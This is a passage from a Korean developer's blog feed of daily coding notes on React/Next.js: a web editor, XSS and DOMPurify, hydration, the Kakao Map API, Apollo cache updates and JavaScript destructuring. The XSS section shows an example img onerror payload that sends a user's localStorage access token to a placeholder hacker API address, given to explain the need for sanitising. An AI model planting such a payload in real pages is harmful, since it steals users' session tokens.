import dynamic from &quot;next/dynamic&quot;;

const ReactQuill = dynamic(async () =&gt; await import(&quot;react-quill&quot;), {
  ssr: false,
});</code></pre>
<p><code>dynamic import</code>는 ssr 이슈 해결 뿐 아니라 <strong>성능최적화</strong>에도 기여한다. 처음 페이지에 접속할 때 꼭 다운받아야 하는 부분이 아니라면 dynamic import를 사용해서 필요한 시점에 다운 받아 올 수 있도록 하면 초기 로딩속도가 빨라진다!</p>
<p>이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 <code>code-splitting</code>이라고 한다. </p>
<p><br/><br/></p>
<h2 id="웹-에디터와-react-hook-form-연동">웹 에디터와 react-hook-form 연동</h2>
<br/>

<p>위에서 만들었던 코드를 사용하여 <code>useForm</code>을 import 해주었다.</p>
<pre><code class="language-javascript">import { useForm } from &quot;react-hook-form&quot;;
import &quot;react-quill/dist/quill.snow.css&quot;;
import dynamic from &quot;next/dynamic&quot;;

const ReactQuill = dynamic(() =&gt; import(&quot;react-quill&quot;), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: &quot;onChange&quot;,
  });

  const handleChange = (value: string) =&gt; {
    console.log(value);
  };

  return (
    &lt;div&gt;
      작성자: &lt;input type=&quot;text&quot; {...register(&quot;writer&quot;)} /&gt;
      &lt;br /&gt;
      비밀번호: &lt;input type=&quot;password&quot; {...register(&quot;password&quot;)} /&gt;
      &lt;br /&gt;
      제목: &lt;input type=&quot;text&quot; {...register(&quot;title&quot;)} /&gt;
      &lt;br /&gt;
      내용: &lt;ReactQuill onChange={handleChange} /&gt;
      &lt;br /&gt;
      &lt;button&gt;등록하기&lt;/button&gt;
    &lt;/div&gt;
  );
}</code></pre>
<br/>

<p>여기서 내용에 해당하는 ReactQuill 컴포넌트에는 register가 적용되지 않는다. 어떻게 하면 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있을까?</p>
<h4 id="setvalue를-사용해서-contents에-강제로-값을-넣어주면-된다">setValue를 사용해서 contents에 강제로 값을 넣어주면 된다!</h4>
<pre><code class="language-javascript">const { register, setValue} = useForm({
    mode: &quot;onChange&quot;,
  });

  const handleChange = (value: string) =&gt; {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능
    setValue(&quot;contents&quot;, value);
  };</code></pre>
<p>또 다른 문제는, contents에 값을 입력했다가 지우면, br 태그가 남는다는 것이다. </p>
<br/>

<p>다음은 <strong>&quot;안녕&quot;</strong>을 입력했다가 지운 과정이다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/09d66c48-ece2-46ab-9220-54a655797df5/image.png" alt=""></p>
<p>이 문제를 해결하기 위해서는, 삼항연산자를 사용해서 빈값으로 처리되도록 해주면 된다. </p>
<pre><code class="language-javascript">const handleChange = (value: string) =&gt; {
    console.log(value);
    setValue(&quot;contents&quot;, value === &quot;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&quot; ? &quot;&quot; : value);
  };</code></pre>
<br/>

<p>하지만 값이 변경되었을 뿐, contents의 입력 여부는 검증할 수 없다. 이럴 때에는 <code>trigger</code>를 사용해서 onChange 여부를 강제로 변경해주면 된다.</p>
<pre><code class="language-javascript">const { register, setValue, trigger } = useForm({
    mode: &quot;onChange&quot;,
  });

  const handleChange = (value: string) =&gt; {
    console.log(value);
    setValue(&quot;contents&quot;, value === &quot;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&quot; ? &quot;&quot; : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능
    trigger(&quot;contents&quot;);
  };</code></pre>
<br/>

<p>이제 JSX 부분에서 <code>form</code>으로 태그들을 감싸고, <code>onSubmit</code> 요소를 더해준다.</p>
<pre><code class="language-javascript">return (
    &lt;form onSubmit={}&gt;
      작성자: &lt;input type=&quot;text&quot; {...register(&quot;writer&quot;)} /&gt;
      &lt;br /&gt;
      비밀번호: &lt;input type=&quot;password&quot; {...register(&quot;password&quot;)} /&gt;
      &lt;br /&gt;
      제목: &lt;input type=&quot;text&quot; {...register(&quot;title&quot;)} /&gt;
      &lt;br /&gt;
      내용: &lt;ReactQuill onChange={handleChange} /&gt;
      &lt;br /&gt;
      &lt;button&gt;등록하기&lt;/button&gt;
    &lt;/form&gt;
  );</code></pre>
<br/>

<p>그 후에 <code>handleSubmit</code>을 이용해서 버튼 클릭시 실행할 함수를 onSubmit에 넣는다.</p>
<pre><code class="language-javascript">// 수정할 부분

const { register, handleSubmit, setValue, trigger } = useForm&lt;IFormValues&gt;({
    mode: &quot;onChange&quot;,
  });

const onClickSubmit = (data: IFormValues) =&gt; {
        // form submit시 실행할 함수
  };

  return (
    &lt;form onSubmit={handleSubmit(onClickSubmit)}&gt;
      작성자: &lt;input type=&quot;text&quot; {...register(&quot;writer&quot;)} /&gt;
      &lt;br /&gt;
      비밀번호: &lt;input type=&quot;password&quot; {...register(&quot;password&quot;)} /&gt;
      &lt;br /&gt;
      제목: &lt;input type=&quot;text&quot; {...register(&quot;title&quot;)} /&gt;
      &lt;br /&gt;
      내용: &lt;ReactQuill onChange={handleChange} /&gt;
      &lt;br /&gt;
      &lt;button&gt;등록하기&lt;/button&gt;
    &lt;/form&gt;
  );</code></pre>
<br/>

<p>이제 onClickSubmit 함수 안에 <code>createBoard</code> api 요청 코드를 넣고, 요청 성공 시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해주면 된다. </p>
<Br/>

<p><strong>하지만 또 다시 발생하는 에러..</strong></p>
<p>상세페이지로 이동했을 때, reactquill 부분의 데이터에 HTML 태그가 포함되어 브라우저에 나타난다. 우리는 HTML 태그를 노출하지 않으면서 <strong>HTML 기능</strong>만 적용된 형태로 화면에 출력해야 한다. </p>
<p>하지만 react에서는 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입할 수 없게 설정해놓았다. </p>
<br/>

<h4 id="그럼에도-html-태그를-사용하고자-한다면-아래와-같은-코드를-사용하면-된다">그럼에도 HTML 태그를 사용하고자 한다면, 아래와 같은 코드를 사용하면 된다!</h4>
<blockquote>
<pre><code class="language-javascript"></code></pre>
</blockquote>
<div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />
```


<p><code>dangerouslySetInnerHTML</code>은 div 또는 span 태그에 제공되는 속성이다. 따라서 이를 적용하면 다음과 같다.</p>
<blockquote>
<pre><code class="language-javascript">return (
    &lt;div&gt;
      &lt;div&gt;작성자: {data?.fetchBoard.writer}&lt;/div&gt;
      &lt;div&gt;제목: {data?.fetchBoard.title}&lt;/div&gt;
      // dangerouslySetInnerHTML: self-closing tag로 작성
      &lt;div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} /&gt;
    &lt;/div&gt;
  );</code></pre>
</blockquote>
<pre><code>
&lt;br/&gt;&lt;br/&gt;

## 웹 에디터 xss(cross site script)

&lt;br/&gt;

지금까지 게시글 등록하기에 웹 에디터를 적용해보았는데, 그 과정에서 xss 공격이 발생할 수 있다.

&lt;span style=&quot;color: red&quot;&gt;**XSS**&lt;/span&gt;는 **Cross Site Script**의 약자로, 다른 사이트의 취약점을 노려서 Javascript와 HTML로 악의적인 코드를 웹 브라우저에 심고 사용자 접속 시 악성 코드가 실행되도록 하는 것이다. 

&lt;br/&gt;

한 예로, 이미지 태그에 정상적이지 않은 값을 넣고, **onerror** 속성을 더해서 해당 태그를 dangerouslySetInnerHTML 속성을 통해 불러왔을 때 사용자의 정보를 빼내는 **script**가 실행되도록 할 수 있다.

&gt;```javascript
&lt;img src=&quot;#&quot; onerror=&quot;
    const aaa = localStorage.getItem(&#39;accessToken&#39;);
    axios.post(해커API주소, {accessToken = aaa});
&quot; /&gt;</code></pre><p>위와 같이 적어주면, localStorage 내의 사용자의 <strong>accessToken</strong>을 알아낼 수 있다. </p>
<p>이러한 공격들을 방어하기 위해서는 공격 코드를 자동으로 차단해주는 <code>DOMPurify</code>라는 라이브러리를 사용해주면 좋다. </p>
<h4 id="설치-코드">설치 코드</h4>
<blockquote>
<p><strong>yarn add dompurify
yarn add -D @types/dompurify</strong></p>
</blockquote>
<br/>

<p>아까 dangerouslySetInnerHTML 속성을 부여한 곳에 <code>Dompurify</code>를 적용하면 된다.</p>
<blockquote>
<pre><code class="language-javascript"></code></pre>
</blockquote>
<div
    dangerouslySetInnerHTML={{
        __html: Dompurify.sanitize(String(data?.fetchBoard.contents))
    }}
/>
```

<br/>

<p>아마 저렇게 적으면 서버사이드 렌더링 에러가 발생할 것이다. 에러 해결을 위해서는 조건부 렌더링을 추가해주면 된다.</p>
<blockquote>
<pre><code class="language-javascript">{process.browser &amp;&amp;
    &lt;div
        dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(String(data?.fetchBoard.contents))
        }}
    /&gt;
}</code></pre>
</blockquote>
<pre><code>
&lt;br/&gt;&lt;br/&gt;

## OWASP TOP 10

&lt;br/&gt;

XSS처럼 웹에는 여러 종류의 **공격**들이 있다. `OWASP`는 **Open Web Application Security Project**의 약자로 자주 발생하는 공격들을 3-4년에 한번씩 업데이트해주는 사이트다.

최근 2021년에 업데이트 되었고, 리스트는 다음과 같다.

&gt;A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03: Injection (인젝션)
A04: Insecure Design (안전하지 않은 설계)
A05: Security Misconfiguration (보안설정오류)
A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
A07: Identification and Authentication Failures (식별 및 인증 오류)
A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10: Server-Side Request Forgery (서버 측 요청 위조)

&lt;br/&gt;

## Hydration 이슈

&lt;br/&gt;

```javascript
return (
    &lt;div&gt;
    &lt;div style={{color: &quot;red&quot;}}&gt;작성자: {data?.fetchBoard.writer}&lt;/div&gt;
    {process.browser &amp;&amp; (
            &lt;div style={{color: &quot;green&quot;}}&gt;제목: {data?.fetchBoard.title}&lt;/div&gt;
        )}
    &lt;div style={{color: &quot;blue&quot;}}&gt;내용: 반갑습니다!&lt;div&gt;
  &lt;/div&gt;
)</code></pre><p>위의 코드가 렌더링된 화면을 보면 제목 부분의 색깔이 내용과 같이 파란색인 것을 확인할 수 있다. 바로 <strong>Hydration Issue</strong> 때문에 CSS가 적용되지 않은 것이다. 왜 그런 걸까?</p>
<br/>

<p><strong>React 서버</strong>는 다음과 같이 렌더링을 한다. 
<img src="https://velog.velcdn.com/images/code_june/post/b57d32de-5d6f-4872-8a0c-eae1928f18c3/image.png" alt=""></p>
<br/>

<p>반면, <strong>Next 서버</strong>는 아래와 같은 과정을 통해 페이지를 그린다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/9091a94b-e792-4891-8145-6947dca40353/image.png" alt=""></p>
<p>보다 자세한 과정은 아래와 같다.
<img src="https://velog.velcdn.com/images/code_june/post/e8d73730-4e5a-4bc0-bbe5-56dda3686663/image.png" alt=""></p>
<br/>

<p><strong>Next.js</strong>도 React처럼 <strong>SPA</strong>다. 다만, 리액트와 다르게 모든 페이지에서 공통으로 사용하는 것들을 <strong>미리 한번에</strong> 받아온다. 따라서 Next.js는 브라우저에 보여지기까지 걸리는 시간(TTV)이 빠르다. </p>
<p><strong>diffing</strong> 단계에서 태그를 기준으로 비교하기 때문에 프론트엔드 서버에서 프리렌더링된 결과물과 브라우저에서 그려진 결과물의 태그 구조가 다르면 CSS가 코드와 다르게 적용된다. </p>
<h5 id="따라서-브라우저에서만-렌더링되는-태그가-있을-경우-삼항연산자를-사용해서-프론트엔드-서버에서도-빈-태그가-들어가-있도록-해줘야-한다">따라서 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 사용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 해줘야 한다!</h5>
<pre><code class="language-javascript">return (
    &lt;div&gt;
    &lt;div style={{color: &quot;red&quot;}}&gt;작성자: {data?.fetchBoard.writer}&lt;/div&gt;
    {process.browser ? (
            &lt;div style={{color: &quot;green&quot;}}&gt;제목: {data?.fetchBoard.title}&lt;/div&gt;
        ) : (
            &lt;div style={{color: &quot;green&quot;}} /&gt;
        )}
    &lt;div style={{color: &quot;blue&quot;}}&gt;내용: 반갑습니다!&lt;div&gt;
  &lt;/div&gt;
)</code></pre>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 27일차: 카카오맵 API, SPA & MPA, cache 직접 수정하기(update 사용)]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-27%EC%9D%BC%EC%B0%A8-%EC%B9%B4%EC%B9%B4%EC%98%A4%EB%A7%B5-API-SPA-MPA-cache-%EC%A7%81%EC%A0%91-%EC%88%98%EC%A0%95%ED%95%98%EA%B8%B0update-%EC%82%AC%EC%9A%A9</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-27%EC%9D%BC%EC%B0%A8-%EC%B9%B4%EC%B9%B4%EC%98%A4%EB%A7%B5-API-SPA-MPA-cache-%EC%A7%81%EC%A0%91-%EC%88%98%EC%A0%95%ED%95%98%EA%B8%B0update-%EC%82%AC%EC%9A%A9</guid>
            <pubDate>Sun, 23 Apr 2023 12:53:43 GMT</pubDate>
            <description><![CDATA[<h2 id="카카오맵-api">카카오맵 API</h2>
<p>우리나라에서는 다양한 <strong>지도 API</strong> 중 카카오, 네이버, 구글 지도 API를 많이 사용한다. 3가지 중 비용이나 상황에 맞는 API를 선택하면 된다. 나는 그 중 카카오 맵 API를 이용해봤다. </p>
<br/>

<h3 id="카카오-개발자kakao-developers">카카오 개발자(Kakao Developers)</h3>
<p>카카오 개발자 페이지에 접속하면 지도를 포함한 다양한 API가 제공되고 있는 것을 볼 수 있다. 나중에 필요할 때 써보면 좋을 것 같다.</p>
<blockquote>
<p><strong>내 애플리케이션 추가 &gt; 문서 &gt; 지도 &gt; 좌측 사이드바의 지도 클릭 &gt; 브라우저 선택 &gt; 왼쪽 하단의 메뉴바의 키 발급 메뉴 클릭 &gt; 생성해놓은 애플리케이션 클릭 &gt; 용도에 맞는 키 선택 &gt; Guide 보고 따라하기</strong></p>
</blockquote>
<br/>

<h3 id="카카오-맵-구현">카카오 맵 구현</h3>
<h4 id="1-head-설정">1. Head 설정</h4>
<pre><code class="language-javascript">import Head from &#39;next/head&#39;;</code></pre>
<br/>

<p>Head 컴포넌트를 불러오고, 안에 카카오 맵 <code>script</code>를 호출할 수 있는 코드를 추가한다.</p>
<pre><code class="language-javascript">return(
     &lt;&gt;
            &lt;Head&gt;
                &lt;script type=&quot;text/javascript&quot; src=&quot;//dapi.kakao.com/v2/maps/sdk.js?appkey=&#39;JavaScript 앱 키 입력&#39;&quot;&gt;&lt;/script&gt;
            &lt;/Head&gt;
     &lt;/&gt;
)</code></pre>
<br/>

<h4 id="2-맵-그리기">2. 맵 그리기</h4>
<p>맵을 호출할 JS 코드와 맵을 호출 받아 출력할 영역(div)을 설정해준다.</p>
<pre><code class="language-jsx">const container = document.getElementById(&#39;map&#39;); 
//지도를 담을 영역의 DOM 레퍼런스

const options = { 
//지도를 생성할 때 필요한 기본 옵션
    center: new kakao.maps.LatLng(33.450701, 126.570667), //지도의 중심좌표.
    level: 3 //지도의 레벨(확대, 축소 정도)
};

new kakao.maps.Map(container, options); 
//지도 생성 및 객체 리턴

// return(
    // ...
        &lt;div id=&#39;map&#39; style={{ &quot;width&quot; : &quot;500px&quot;, &quot;height&quot; : &quot;400px&quot; }}&gt;&lt;/div&gt;
// )</code></pre>
<br/>

<h4 id="3-내-애플리케이션에-사이트-도메인-등록">3. 내 애플리케이션에 사이트 도메인 등록</h4>
<blockquote>
<p>키 발급 &gt; 내 애플리케이션 &gt; 플랫폼 &gt; web 사이트 도메인 등록</p>
</blockquote>
<br/>

<h4 id="4-페이지-이동-후-지도-출력해보기">4. 페이지 이동 후 지도 출력해보기</h4>
<p>페이지 이동을 하면 지도가 보이지 않고 <strong>에러</strong>가 뜬다. 하지만 주소창에 해당 주소를 입력해서 접속을 하면 지도가 정상적으로 뜬다. 왜 그런 걸까? 이것을 이해하기 위해서는 <code>SPA</code>와 <code>CSR</code>을 알아야 한다.</p>
<br/>
<br/>

<h2 id="spasingle-page-application">SPA(single page application)</h2>
<Br/>

<p>위에서 발생했던 에러를 해결하기 위해 코드를 가져와봤다.</p>
<pre><code class="language-jsx">import { useRouter } from &quot;next/router&quot;;

export default function KakaoMapRoutingPage() {
  const router = useRouter();
  const onClickMoveToMap = () =&gt; {
    router.push(&quot;/29-03-kakao-map-routed&quot;);
  };

  return (
    &lt;div&gt;
      &lt;button onClick={onClickMoveToMap}&gt;맵으로 이동하기!&lt;/button&gt;
    &lt;/div&gt;
  );
}</code></pre>
<p>위 코드에서 <strong>router</strong> 대신 <code>a 태그</code>를 이용하면 어떨까? 아무런 문제 없이 지도가 출력된다. 그렇다면 router와 a 태그는 무슨 차이일까?</p>
<br/>

<p><img src="https://velog.velcdn.com/images/code_june/post/f6b82f05-7580-4659-86a2-3c0d386250b8/image.png" alt=""></p>
<br/>

<h3 id="mpa">MPA</h3>
<p><code>a 태그</code>를 클릭한다면, 프론트엔드 서버에 접속해서 해당 페이지를 다운로드 받아와 브라우저에서 그려준다. </p>
<p>즉, 태그를 클릭할 때마다 새로운 페이지를 다운로드 받아와서 보여주기 때문에 페이지가 여러 장 있는 것과 같다. 이러한 방식을 <code>MPA(multi page application)</code>라고 한다.</p>
<p>MPA 의 경우, 페이지 이동 시마다 서버에 요청해서 데이터를 받아와야 하기 때문에 성능은 좋지 않다.</p>
<br/>

<h3 id="spa">SPA</h3>
<p>반면 <strong>react</strong>에서는 <code>SPA(single page application)</code> 방식으로 작동한다. 처음 접속할 때 해당 페이지 외에 다른 페이지까지 한번에 다운로드 받아와서 필요한 페이지만 뽑아서 브라우저에 보여준다. </p>
<p><code>SPA</code>는 처음 다운로드 받을 때는 조금 느릴 수 있지만, 페이지를 이동할 때 걸리는 시간이 MPA에 비하여 압도적으로 짧다.</p>
<p><strong>MPA</strong>는 전통적인 의미의 홈페이지고, <strong>SPA</strong>는 홈페이지보다는 애플리케이션의 느낌이 강하다.</p>
<br/>

<h3 id="kakao-map-undefined-error-해결">kakao map undefined error 해결</h3>
<br/>

<p>위에서 <code>kakao map undefined</code> 에러가 발생했던 이유는, 지도를 다운로드 받아오는 동안 이동한 페이지를 먼저 그려줬기 때문이다. </p>
<p><code>a 태그</code>를 이용하면 오류는 해결되지만, 페이지를 이동했을 때 페이지 자체가 새로 로딩되기 때문에 SPA 프레임워크인 <strong>Next.js</strong>를 사용하는 의미가 없어진다.</p>
<br/>

<p>대신 Next.js에서 제공하는 <code>Link</code> 태그를 사용하면 된다! </p>
<pre><code class="language-javascript">import { useRouter } from &quot;next/router&quot;;
import Link from &quot;next/link&quot;;

export default function KakaoMapRoutingPage() {
  // const router = useRouter();
  // const onClickMoveToMap = () =&gt; {
  //   router.push(&quot;/29-03-kakao-map-routed&quot;);
  // };

  return (
    &lt;div&gt;
      {/* &lt;button onClick={onClickMoveToMap}&gt;맵으로 이동하기 !&lt;/button&gt; */}
      &lt;Link href=&quot;/29-03-kakao-map-routed&quot;&gt;
        &lt;a&gt;맵으로 이동하기 !!&lt;/a&gt;
      &lt;/Link&gt;
    &lt;/div&gt;
  );
}</code></pre>
<p><code>Link</code> 안에 <strong>a 태그</strong>를 넣으면 semantic 요소를 갖고 있는 html 태그로 렌더링 된다. 의미가 있는 <strong>semantic tag</strong>는 검색 노출이 쉬워진다는 장점이 있다. 또한 MPA인 a 태그보다 SPA인 Link 태그가 속도도 훨씬 빠르다. 그렇기 때문에 가급적이면 Link 태그를 쓰는 것이 좋다. </p>
<br/>

<p>또한, 이동한 페이지에서 script 다운로드를 완료하고 카카오 맵 로드도 완료된 후에 지도가 불러져 오도록 해줘야 한다. </p>
<pre><code class="language-javascript">useEffect(() =&gt; {
  // 여기서 직접 다운로드 받고, 다 받을때까지 기다렸다가 그려주기!!
  const script = document.createElement(&quot;script&quot;); // html에 script라는 태그(Element)를 만든다.
  script.src =
    &quot;//dapi.kakao.com/v2/maps/sdk.js?appkey=&#39;JavaScript API Key&#39;&amp;autoload=false&quot;;
  document.head.appendChild(script);

  script.onload = () =&gt; {
        window.kakao.maps.load(function () {
            const container = document.getElementById(&quot;map&quot;);
      const options = {
        center: new window.kakao.maps.LatLng(33.450701, 126.570667),
        level: 3,
      };
      const map = new window.kakao.maps.Map(container, options);
        }
    }
}</code></pre>
<p><br/><br/></p>
<h2 id="refetch의-문제점과-개선-방법">refetch의 문제점과 개선 방법</h2>
<p><img src="https://velog.velcdn.com/images/code_june/post/fe594fac-4efa-436f-ad55-0b57f4b6db33/image.png" alt=""></p>
<p>지금까지는 등록/삭제 이후 <code>refetch</code>를 통해 데이터를 업데이트해왔다. 하지만 refetch는 그렇게 좋은 방법은 아니다. </p>
<p>왜냐하면 useQuery()는 실행된 후 cache-state에 저장되는데 <code>refetch</code>를 사용하면 api 요청을 다시 받아오기 때문이다. 비효율적인 방법이다.</p>
<p>따라서 이제부터는 refetch하지 않고, <code>apollo-cache-state</code>를 직접 업데이트 하는 방법을 사용할 것이다. </p>
<Br/>

<h3 id="캐시-직접-수정하기">캐시 직접 수정하기</h3>
<br/>

<p>캐시를 직접 수정할 때에는 <code>update(){}</code>를 사용한다. 원래 refetch를 사용했던 부분을 update로 바꾸었다.</p>
<pre><code class="language-javascript">// 캐시에 저장되는 데이터와 요청 후 받아오는 값이 일치되어야 함
const CREATE_BOARD = gql`
  mutation createBoard($createBoardInput: CreateBoardInput!) {
    createBoard(createBoardInput: $createBoardInput) {
      _id
      writer
      title
      contents
    }
  }
`;


export default function StaticRoutedPage() {

//삭제 함수
  const onClickDelete = (boardId: string) =&gt; () =&gt; {
    void deleteBoard({
      variables: { boardId },
      update(cache, { data }) {
                // 캐시를 수정한다는 뜻의 cache.modify
        cache.modify({
                // 캐시에있는 어떤 필드를 수정할 것 인지 key-value 형태로 적어주기
          fields: {
            fetchBoards: (prev, { readField }) =&gt; {
              // prev: 이전데이터 불러오기
              const deletedId = data.deleteBoard; // 삭제된ID
              const filteredPrev = prev.filter(
                (el) =&gt; readField(&quot;_id&quot;, el) !== deletedId // el._id가 안되므로, readField를 사용해서 꺼내오기
              );
              return [...filteredPrev]; // 삭제된ID를 제외한 나머지 9개만 리턴
            },
          },
        });
      },
    });
  };

//등록 함수
  const onClickCreate = () =&gt; {
    void createBoard({
      variables: {
        createBoardInput: {
          writer: &quot;영희&quot;,
          password: &quot;1234&quot;,
          title: &quot;제목입니다&quot;,
          contents: &quot;내용입니다&quot;,
        },
      },
      update(cache, { data }) {
                // 캐시를 수정한다는 뜻의 cache.modify
        cache.modify({
                // 캐시에있는 어떤 필드를 수정할 것 인지 key-value 형태로 적어주기
          fields: {
            fetchBoards: (prev) =&gt; {
              return [data.createBoard, ...prev];
            },
          },
        });
      },
    });
  };

  return (
    &lt;&gt;
      {data?.fetchBoards.map((el) =&gt; (
        &lt;div key={el._id}&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.writer}&lt;/span&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.title}&lt;/span&gt;
          &lt;button onClick={onClickDelete(el._id)}&gt;삭제하기&lt;/button&gt;
        &lt;/div&gt;
      ))}
      &lt;button onClick={onClickCreate}&gt;등록하기&lt;/button&gt;
    &lt;/&gt;
  );
}
</code></pre>
<br/>

<h3 id="refetchqueries는-무조건-쓰지-말아야-할까">refetchQueries는 무조건 쓰지 말아야 할까?</h3>
<p>하지만 무조건 refetchQueries를 쓰지 말라는 것은 아니다! 상황에 맞게 결정하면 된다. <strong>작은 서비스</strong>에서는 <code>refetch</code>를 쓰는 것이 더 나을 수도 있다. 코드도 훨씬 짧기 때문에 성능을 크게 따질 필요가 없는 경우에는 refetch가 나을 수도 있다.  </p>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 26일차: 구조분해할당, rest 파라미터, custom hooks, 타입스크립트 Generic]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-26%EC%9D%BC%EC%B0%A8-%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4%ED%95%A0%EB%8B%B9-rest-%ED%8C%8C%EB%9D%BC%EB%AF%B8%ED%84%B0-custom-hooks-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-Generic</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-26%EC%9D%BC%EC%B0%A8-%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4%ED%95%A0%EB%8B%B9-rest-%ED%8C%8C%EB%9D%BC%EB%AF%B8%ED%84%B0-custom-hooks-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-Generic</guid>
            <pubDate>Sun, 23 Apr 2023 12:51:43 GMT</pubDate>
            <description><![CDATA[<h2 id="구조분해할당비구조화할당">구조분해할당(=비구조화할당)</h2>
<br/>

<p><code>구조분해할당(비구조화할당)</code>이란 변수를 한번에 모두 선언하고 할당할 수 있도록 도와주는 것이다.</p>
<h3 id="객체의-구조분해할당">객체의 구조분해할당</h3>
<pre><code class="language-javascript">const child = {
    name: &quot;철수&quot;,
      age: 13,
  school: &quot;다람쥐초등학교&quot;
}</code></pre>
<p> 위의 코드는 <strong>객체</strong>의 구조를 분해해서 변수를 할당하는 구조분해할당 방식이다.</p>
<br/>

<p>객체의 value 값을 각각 새로운 변수에 할당하기 위해서는 다음과 같이 하나씩 선언하고 할당해야 했다. </p>
<pre><code class="language-javascript">const name = child.name
const age = child.age
const school = child.school</code></pre>
<p>하지만 너무 길고, 번거로워 보인다. 따라서 다음과 같이 축약(<code>구조분해할당</code>)할 수 있다.</p>
<pre><code class="language-javascript">const { name, age, school } = child</code></pre>
<p>객체의 구조분해 할당은 선언부에 <strong>중괄호</strong>를 사용하며, 객체의 <strong>key값</strong>을 변수명으로 사용한다. 변수명을 다른 이름으로 지정해서는 안된다.</p>
<br/>

<h4 id="usequery도-구조분해할당을-사용">useQuery도 구조분해할당을 사용</h4>
<p>우리는 <code>useQuery</code>를 쓸 때에도 객체를 구조분해할당하고 있었다!</p>
<pre><code class="language-javascript">const { data, loading } = useQuery(FETCH_BOARDS)</code></pre>
<p>위에서 return 값은 data와 loading이 된다. <code>const aaa = useQuery(FETCH_BOARDS)</code> 로 받아와 <code>aaa.data</code>, <code>aaa.loading</code> 으로 사용할 수 있다.</p>
<br/>

<h3 id="배열의-구조분해할당">배열의 구조분해할당</h3>
<p><strong>배열</strong>도 마찬가지로 <code>구조분해할당</code>이 가능하다.</p>
<pre><code class="language-javascript">const classmates = [&quot;철수&quot;,&quot;영희&quot;,&quot;훈이&quot;]</code></pre>
<p>이전까지는 배열의 원소를 각각 다른 변수에 할당할려면, 다음과 같이 해야만 했다.</p>
<pre><code class="language-javascript">const child1 = classmates[0]

const child2 = classmates[1]

const child3 = classmates[2]</code></pre>
<p>하지만 <code>구조분해할당</code>을 사용하면 훨씬 간단하게 할 수 있다.</p>
<pre><code class="language-javascript">const [child1, child2, child3] = classmates</code></pre>
<p>배열의 구조분해 할당은 선언부에 <strong>대괄호</strong>를 사용하며, 객체의 구조분해할당과 다르게 <strong>변수명</strong>은 마음대로 정해도 된다. 다만 배열의 원소 할당은 <strong>인덱스</strong>의 순서대로 들어간다.</p>
<br/>

<h4 id="usestate에도-구조분해할당-사용">useState에도 구조분해할당 사용</h4>
<p>우리는 useState를 쓸 때에도 배열의 구조분해할당을 사용했다. </p>
<pre><code class="language-javascript">const [state,setState] = useState(&quot;&quot;)</code></pre>
<p><code>const qqq = useState(””)</code> 의 리턴값이 <strong>배열</strong>이므로 <code>const state = qqq[0]</code>, <code>const setCounter = qqq[1]</code>로 사용할 수 있다.</p>
<br/>
<br/>

<h2 id="rest-파라미터">REST 파라미터</h2>
<p>우리가 객체에서 지우고 싶은 데이터가 있다면 어떻게 해야할까? <code>delete</code>를 사용하는 방법이 있다. </p>
<pre><code class="language-javascript">const child = {
    name: &quot;철수&quot;,
      age: 13,
  school: &quot;다람쥐초등학교&quot;,
  hobby: &quot;축구&quot;,
  키: 150
}</code></pre>
<p>위에서 name과 school을 지우고 싶으면, <code>delete child.name</code>, <code>delete child.school</code>을 하면 된다. </p>
<p>하지만 원본에서 데이터를 바로 삭제하는 것은 추천하는 방법은 아니다. 원본이 어디에서 어떻게 쓰이고 있는지 모르기 때문에 원본을 바로 수정했다가 에러가 발생할 수도 있다. </p>
<p>따라서 delete보다는 <code>rest 파라미터</code>를 이용하는 것이 좋다. rest 파라미터는 구조분해할당과 함께 사용한다.</p>
<pre><code class="language-javascript">const { name, school, ...rest} = child</code></pre>
<p>위와 같이 적으면 <code>...rest</code>에는 <strong>name</strong>과 <strong>school</strong>을 제외한 모든 데이터가 들어가게 된다.</p>
<h5 id="여기서-rest-부분은-rest가-아닌-다른-이름을-사용해도-좋다-관례상-rest라고-쓰곤-한다">*여기서 rest 부분은 rest가 아닌 다른 이름을 사용해도 좋다. 관례상 rest라고 쓰곤 한다.</h5>
<br/>
<br/>

<h2 id="custom-hooks">Custom Hooks</h2>
<p><code>custom hook</code>이란 개발자 스스로 커스텀한 hook을 뜻한다.</p>
<p>custom hook도 함수인데, 일반함수와는 어떤 차이점이 있고, 굳이 custom hook을 사용하는 이유가 뭘까? </p>
<p>사실 별 차이는 없지만, 내부에서 useState와 같은 <strong>hook</strong>을 사용하게 되면 <code>custom hook</code>이라고 한다.</p>
<h5 id="custom-hook을-사용하면-함수-네이밍에-use를-사용해야-한다">custom hook을 사용하면 함수 네이밍에 use를 사용해야 한다!</h5>
<br/>

